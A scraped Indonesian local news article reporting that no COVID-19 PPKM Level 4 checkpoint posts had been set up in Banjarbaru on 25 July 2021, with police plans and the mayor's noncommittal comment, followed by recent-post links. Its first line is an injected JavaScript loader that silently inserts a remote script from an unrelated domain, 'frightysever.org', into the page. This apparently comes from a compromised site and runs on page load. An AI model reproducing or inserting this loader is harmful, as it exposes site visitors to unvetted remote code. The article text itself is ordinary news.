(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Belum Ada Posko Penyekatan PPKM Level 4 di Banjarbaru, Wali Kota: Masih Melihat Situasi


KANALKALIMANTAN.COM, BANJARBARU – Jelang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 4 mulai Senin 26 Juli hingga 8 Agustus 2021 (14 hari) di Kota Banjarbaru belum ada tanda persiapan posko titik penyekatan.

Pantauan Kanalkalimantan.com Minggu (25/7/2021) siang belum terlihat posko penyekatan, rencana titik-titik penyekatan di depan Q Mall Banjarbaru masih belum terlihat adanya barikade, maupun pos cek poin pelintas seperti saat Banjarbaru memberlakukan PSBB tahun 2020 lalu.

Sebelumnya, Kapolres AKBP Doni Hadi Santoso menyampaikan, pihaknya didukung oleh personil TNI, serta dinas dan instansi terkait akan melakukan penyekatan jalur masuk dan jalur keluar Kota Banjarbaru.

Baca juga: PPKM Level 4 Banjarbaru-Banjarmasin Selama 14 Hari, Kalsel Minta Tambahan Vaksin dan Oksigen!

 

 

Langkah ini dilakukan untuk membatasi aktivitas masyarakat terkait PPKM level 4 tersebut.

Ada empat pintu penyekatan yang akan diaktifkan dan dijaga personel gabungan di Banjarbaru yakni di depan Kota Citra Jalan A Yani Km 18, di LIK Liang Anggang arah Pelaihari, di depan Q Mall, Jalan Mistar Cokrokusomo di Kelurahan Bangkal, Kecamatan Cempaka –perbatasan dengan Kabupaten Tanah Laut.

Diketahui titik-titik pos penyekatan atau penjagaan kini belum terlihat ada persiapan penyekatan maupun Posko dibangun.

Baca juga: BREAKING NEWS. Bupati Banjar Periode 2016-2021 KH Khalilurrahman Berpulang

Wali Kota Banjarbaru, Aditya Mufti Ariffin, saat dihubungi oleh kanalkalimantan.com menyampaikan akan melihat situasi terlebih dahulu, terkait rencana pemantauan langsung tengah malam nantinya. “Nanti kita liat situasinya,” kata Wali Kota Banjarbaru, dihubungi Minggu (25/7/2021) siang.

Meski demikian, masyarakat diminta tetap patuh saat melintas di titik penyekatan terkait dan seraya membawa dokumen perjalanan sesuai ketentuan berlaku.

Hal tersebut dilakukan supaya pandemi Covid-19 di dalam Negeri segera bisa dikendalikan secara optimal dan penyekatan dapat dilonggarkan. Alhasil, aktivitas bakal kembali seperti semula. (kanalkalimantan.com/dewi)

Reporter : dewi
Editor : bie


Risa

Recent Posts

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

1 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

5 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

5 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

5 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

7 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

9 jam ago

This website uses cookies.